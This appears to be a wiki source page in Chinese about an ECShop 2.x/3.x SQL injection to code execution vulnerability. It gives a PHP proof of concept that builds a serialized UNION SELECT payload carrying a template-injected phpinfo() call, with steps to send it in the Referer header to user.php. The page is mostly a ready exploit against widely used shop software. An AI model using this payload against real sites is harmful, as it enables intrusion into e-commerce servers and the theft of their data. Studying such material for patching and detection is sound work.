View source for ECShop SQL注入任意代碼執行漏洞

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<translate>
==影響版本== <!--T:1-->
</translate>
<pre>
Ecshop 2.x    
Ecshop 3.x-3.6.0
</pre>

==POC==
<pre>
<?php 
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$test = sprintf("*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -", bin2hex($id), $shell);
$arr = array();
$arr["num"]=$test;
$arr["id"]=$id;

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

?>
</pre>


<translate>
==漏洞利用== <!--T:2-->
</translate>


<translate>
<!--T:3-->
訪問
</translate>
<pre>
http://127.0.0.1/user.php
</pre>

<translate>
<!--T:4-->
添加referer請求頭，將poc放入再請求，可以看到執行了phpinfo()
</translate>